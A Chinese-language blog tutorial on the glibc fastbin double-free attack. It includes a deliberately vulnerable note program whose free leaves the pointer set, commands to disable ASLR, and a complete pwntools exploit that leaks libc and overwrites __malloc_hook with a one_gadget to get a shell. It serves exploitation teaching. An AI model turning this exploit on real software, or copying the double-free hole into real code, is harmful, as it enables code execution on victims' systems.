fast_bin attack利用解释

使用电脑浏览效果更佳!

摘要

​ 主要通过Double Free在fast binY单链中存在两个指向同一内存块的指针,可能的排布(A2->B-A1),第一次malloc该大小拿到A2指向该chunk,向其数据data写入__malloc_hook的地址(同时也修改了A1的fd,即也在该大小的fast bin的尾部增加了一个地址为__malloc_hook的内存chunk[fake chunk]),所以当依次拿掉B,A1后,在malloc一次即可获取到指向__malloc_hook地址的指针,这时候你就爽了,通过修改其为其他函数地址(如one_gadget),malloc函数检查到__malloc_hook被设置后转向该hook函数进行“自定义”的malloc内存分配,即开了一个shell。

分析

1
2
3
4
5
6
7
8
9
10
void delete_note(){
printf("index:");
int idx = read_int();
if(note[idx]){ //指针不为NULL就delete
free(note[idx]);
//note[idx] = 0 double free
return;
}
puts("No such note");
}

利用

利用main_arena leak libc base address

原理:main_arena 为libc动态共享库的数据段中一个全局变量,unsorted bin为一个双向链表,当一个chunk size 大于fast bin最大值的时候被放入的是unsorted bin,因为此刻是第一个chunk加入到unsorted bin,所以该chunk的fd,bk指针都指向main_arena地址,只要知道main_arena在该版本libc的偏移量就可以利用libc base = leaked_main_arena_addresss - libc_base_maps计算,其中libc_base_maps为关闭系统的aslr后程序加载libc的基地址:

参考:http://eternalsakura13.com/2018/04/03/babyheap/

1
2
3
4
5
6
cat /proc/sys/kernel/randomize_va_space  # 0,1,2
# root 下通过 echo 0 > /proc/sys/kernel/randomize_va_space 关闭aslr
cat /proc/117818/maps # 查看pid进程的内存映射 ps -aux | grep fast_bin

# gdb下调试查看全局变量的地址
p &__malloc_hook

one_gadget 对应版本libc的offset不同

找到满足rsp+x = null的偏移

1563541417536

运行效果如图

1563541529187

完整程序与exp

  1. baby_fast_bin_attack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

/***************
*简单的利用Double Free 漏洞leak libc地址(修改__malloc_hook为one gadget地址获取shell)fastbin attack
*By yawn
****************/

char *note[10];

int read_int(){
char buf[16];
if (__read_chk(0,buf,15,15)<=0){
puts("read error");
exit(1);
}
return (unsigned int)atoi(buf);
}

void add_note(){
for (int i=0;i<10;++i){
if(!note[i]){
printf("size:");
int size = read_int();
note[i] = malloc(size); //分配size个bytes(字节)
printf("what do you want to write:");
read(0,note[i],size);
return;
}
}
puts("Fulls!");
}

void delete_note(){
printf("index:");
int idx = read_int();
if(note[idx]){ //指针不为NULL就delete
free(note[idx]);
//note[idx] = 0 double free
return;
}
puts("No such note");
}

void show_note(){
printf("index:");
int idx = read_int();
if(note[idx]){
printf("%s",note[idx]);
return;
}
puts("No this note");
}

void menu(){
puts("--------------------");
puts("1.add a note");
puts("2.delete a note");
puts("3.show a note");
puts("4.exit");
puts("--------------------");
puts("Your choice:");
}

int main(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
while(1){
menu();
switch( read_int()){
case 1:
add_note();
break;
case 2:
delete_note();
break;
case 3:
show_note();
break;
case 4:
printf("Bye!\n");
_exit(0);
default:
puts("Invalid choice!");
break;
}
}
return 0;
}
  1. EXP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    #!/usr/bin/python
    # coding:utf-8
    from pwn import *
    p = process("./fast_bin")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    def add(size,data):
    p.sendafter("choice:","1")
    p.sendafter("size:",str(size))
    p.sendafter("write:",data)

    def free(idx):
    p.sendafter("choice:","2")
    p.sendafter("index:",str(idx))

    def show(idx):
    p.sendafter("choice:","3")
    p.sendafter("index:",str(idx))

    add(0x500,'a') # 0,free 掉之后一直都有的0还保留这原来的指针指向chunk
    add(0x10,'a') # 1

    free(0)
    add(0x500,'a') # 2
    show(2)

    main_arena = p.recv(6).ljust(8,'\x00')
    libc.address = u64(main_arena)-0x3c4b61 # leak 到 libc的基址 0x61 = a同步不会变
    print hex(libc.address)


    add(0x68,'a') # 3
    add(0x68,'a') # 4

    free(3)
    free(4)
    free(3)

    print hex(libc.symbols['__malloc_hook'])
    add(0x68,p64(libc.symbols['__malloc_hook']-0x10-3)) # 伪造fake chunk(fast_bin) 分配到libc的内存
    add(0x68,'a')
    add(0x68,'a') # 露出伪造到libc的地址

    one_gadget = 0xf02a4

    add(0x68,'y'*3+p64(libc.address + one_gadget))

    p.interactive()
您的支持是对thonsun技术原创分享的最大鼓励!